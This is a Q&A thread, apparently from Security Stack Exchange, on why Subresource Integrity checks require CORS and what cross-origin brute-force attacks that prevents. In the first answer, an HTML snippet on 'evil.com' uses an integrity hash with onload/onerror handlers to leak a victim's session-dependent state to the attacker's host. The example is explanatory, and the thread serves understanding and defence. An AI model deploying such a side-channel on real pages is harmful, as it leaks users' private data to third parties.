10

Can someone elaborate on the attacks alluded to in this paragraph from the W3C SubResource Integrity spec?

In order to mitigate an attacker’s ability to read data cross-origin by brute-forcing values via integrity checks, responses are only eligible for such checks if they are same-origin or are the result of explicit access granted to the loading origin via Cross Origin Resource Sharing [CORS].

To me, it comes across as nonsensical because:

  1. My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.
  2. A non-browser user agent can always fetch from a server without CORS.
  3. I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

On a more practical level, I ask because:

  1. It feels as if user tracking via SRI Origin+IP has the potential to become a partial workaround for the growing ability to suppress (sites) or forge (browsers) Referer headers for protection against Referer+IP tracking (a reason I always self-host my subresources to avoid hypocrisy).
  2. I'm wondering whether there would be any increased security risk to me if I were to complement my existing browser extensions like Decentraleyes with a more general solution based on requesting a CSS or JavaScript resource using the pre-CORS set of headers (paired with Referer forging), but then enforcing the provided hash anyway.

EDIT: While @Anders answered the rationale for using it with credentialed requests (ie. requests with session cookies or similar), that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on <script> and <link rel="stylesheet">, but omitting the crossorigin attribute altogether is not.

If the attack involves using onload or onerror to extract one bit of information based on whether the subresource matches a hash, then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Anders
  • 64,406
  • 24
  • 178
  • 215
ssokolow
  • 403
  • 3
  • 10

2 Answers2

10

The attack

I think the attack they are trying to protect against is the following.

Imagine santaclause.com serves an image at santaclause.com/naughty_or_nice.png to logged in users. The image is a green checkmark if the logged in user has been nice, and a red X if they have been naughty. Mallory wants to know if Alice has been nice or not. So on evil.com he sets up the following on a page and sends the link to Alice, who clicks it.

<img src="santaclause.com/naughty_or_nice.png"
     integrity="sha256-{hash of nice image}"
     onload="document.location='http://evil.com?log=nice';"
     onerror="document.location='http://evil.com?log=naughty';"
>

When Alice views the page, the browser will send her session cookies to santaclause.com, which will respond with the nice image if she has been nice. The onload event will fire, and Mallory logs that she has been nice on evil.com. On the other hand, if she has been naughty the integrity check will fail and Mallory therefore knows that Alice has been naughty.

Because of the spec, this attack will fail. Since santaclause.com has not "explicitly granted access to the loading origin via CORS" the browser will not make the integrity check, and load the image even if the hash is wrong, thereby always firing the onload event and never the onerror event.

Without this detail in the spec, an attacker would gain the ability to make cross origin requests with the victim's credentials and get answers to questions of the kind "Was this the response?". While not as bad as being able to just read the response, it still allows the attacker to brute force what the response is if it comes from a small enough set of possible values.

Why it is not nonsensical

My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.

I'd say that the above is an attack on the user, not the server (even though the server is obviously involved).

A non-browser user agent can always fetch from a server without CORS.

Yes, but how does Mallory fool Alice into following the link in a non browser user agent?

I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

If you embed sensitive information in JS or CSS without CSRF protection you will expose it to cross origin attacks, yes. The specs have never pretended to protect against that.

However, they have claimed to protect against the same in images or JSON, and therefore must try to continue to do that even when new features are added.

[...] that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

As SilverlightFox points out in his answer, even anonymous requests can return sensitive information, e.g. if IP is used to return different content to different users. So sites should not be allowed to read the results of cross domain requests even if they do not contain any authentication headers.

[...]then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Yes, a site can infer information about the content of cross origin requests for stylesheets and JavaScript (thats why JSONP works, by the way). This is well known, and the specs have never pretended to protect against it.

If you expand this to allowing integrity checks for anynomous cross origin request, you expand that ability to work for all sorts of resources - JSON, XML, images etc, and not just JS and CSS.

Why? Because to infer any information about the content of a JS file it needs to actually execute, so it needs to be JS. If you include e.g. an XML file in a script tag all you get is a syntax error. But you could easily include an XML file with a script tag, slap an integrity attribute to it, and then learn about its content by checking if it loads or not.

AndrolGenhald
  • 15,436
  • 5
  • 45
  • 50
Anders
  • 64,406
  • 24
  • 178
  • 215
  • You're probably right, but it seems uncharacteristic for them to not consider the psychology of requiring it in places which are already holes in the same-origin restrictions. As-is, I can easily see many people who value their privacy but are prone to cargo cult-ish behaviour just stripping out the `integrity` and `crossorigin` attributes before pasting the `` or ` – ssokolow Jan 23 '17 at 10:31
  • @ssokolow There really isn't an option in how to design the specs here. Doing the integrity check without the CORS check would break things. – Anders Jan 23 '17 at 11:51
  • `integrity` isn't some reused name formerly belonging to some ancient HTML version and `` and ` – ssokolow Jan 23 '17 at 11:56
  • 1
    @ssokolow `santaclause.com` would be broken (made unsecure) if browsers started doing integrity checks on cross domain resources. – Anders Jan 23 '17 at 12:34
  • Bah. Again, I forget to think about `onload` vs. `onerror`. They need to augment the spec with a third `crossorigin` value which sends a `null` origin so CDNs have the option to wildcard-authorize rather than having to receive an `Origin` that would be useful to log. – ssokolow Jan 23 '17 at 13:05
  • Waitaminute, now that I'm not quite as tired, that doesn't make sense. The attack is about leaking information from the user's session, but `crossorigin="anonymous"` explicitly prevents credentials like session cookies from being exchanged. How does requiring `crossorigin="anonymous"` for `integrity` on ` – ssokolow Jan 24 '17 at 01:06
  • The `crossorigin` attribute is set by the site that imports the data. In this scenario, that page is controlled by the attacker. So Mallory can just not set the attribute. – Anders Jan 24 '17 at 08:11
  • Obviously, but I still don't see how the attack you described has any bearing on whether CORS is necessary to make an uncredentialed request that would have succeeded in the classic "neither CORS, nor integrity" fetch process. If you're *not sending credentials* and you're receiving a resource where changes *are already detectable via their effects on the current page*, isn't it a net loss to force especially distrustful-of-authority webmasters to choose between integrity verification and the added tracking mitigation provided by omitting the `Origin` information? – ssokolow Jan 24 '17 at 08:32
  • Let us [continue this discussion in chat](http://chat.stackexchange.com/rooms/52346/discussion-between-anders-and-ssokolow). – Anders Jan 24 '17 at 10:25
4

What attacks are mitigated by requiring CORS for subresource integrity verification?

The Same Origin Policy is the cornerstone of the client-side security model of the web through the isolation of user data. As you already know, CORS relaxes the default SOP restrictions. Without relaxing these restrictions, the origin site has no right to inspect responses, including the integrity of a resource via the integrity attribute.

Requiring CORS mitigates attacks that would expose the privacy of user data. e.g. say a JavaScript file contains the email address of the logged in user:

email = "foo@example.com";

Without the external site explicitly allowing the integrity to be checked would mean any site on the internet could brute force the email address by running a list of email addresses through the hashing algorithm (along with the rest of the JavaScript file) to see when it gets a match. This is what is meant by brute-forcing in the spec.

Onto your other points:

A non-browser user agent can always fetch from a server without CORS.

Client-side attacks always require the victim browser to play their part because it will supply the cookies in a credentialed request, or if another type of authentication mechanism is used (e.g. IP), then it will supply the victim's IP in a non-credentialled request. The attacker is not the one choosing the user agent, so taking non-browsers into the equation is a moot point.

I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

This is incorrect. Nothing legacy allows the reading of external resources by code. Yes, the browser itself can use JS and CSS external to the top level site, however this is not considered a CORS request because script from the origin is not reading the response - it's only the browser itself for rendering and for executing any script.

In my example above, there would be no way for the requesting origin site to read the literal code email = "foo@example.com";, even before subresource integrity came about. If the email variable was in a closure, it wouldn't be queryable at all even by JavaScript on the origin site.

EDIT: While @Anders answered the rationale for using it with credentialed requests (ie. requests with session cookies or similar), that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

Remember, there are two crossorigin possible values:

  • crossorigin="anonymous"
  • crossorigin="use-credentials"

Because CORS is required on the external origin, it makes sense to specify the expected one in the current origin.

If the attack involves using onload or onerror to extract one bit of information based on whether the subresource matches a hash, then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Yes, you can examine the effects of an external CSS or JavaScript anyway, with or without CORS, as the resource applies in the context of your current site. However, you cannot view the actual source code from a cross-origin request. Enabling CORS allows this, because the CSS or JavaScript resource could then also be requested via XHR, rather than a <script> or <link> tag.

One such scenario that doesn't require credentials is if you imagine an authentication model that does not use cookies, an authentication header or certificates. The remote IP address is an excellent example.

If Anders' naughty_or_nice.png returned whether the user was good or bad based upon IP address rather than login credentials, then crossorigin="anonymous" would be fine, and the integrity of the resource could be checked if santaclause.com output Access-Control-Allow-Origin appropriately.

Otherwise it needs to be crossorigin="use-credentials" and santaclause.com must output Access-Control-Allow-Credentials: true as well as the ACAO header.

In the first example, the remote site can still control security. It still can examine the Origin request header and allow or deny the request with its CORS header. In the second, it just needs to apply its authorisation rules as normal.

So to sum up, the crossorigin tag is required so that the correct CORS header is sent (Origin), and if the external site allows (via CORS), the integrity tag allows the browser examine the response on behalf of the originating site.

That is:

  • crossorigin = I'm sending, and I expect either ACAO or ACAO and ACAC in response.
  • integrity = I'm receiving, and I'll check the hash from the external Origin if the aforementioned headers are appropriately returned.
SilverlightFox
  • 33,408
  • 6
  • 67
  • 178
  • Comments are not for extended discussion; this conversation has been [moved to chat](http://chat.stackexchange.com/rooms/52767/discussion-on-answer-by-silverlightfox-what-attacks-are-mitigated-by-requiring-c). – Rory Alsop Jan 30 '17 at 23:37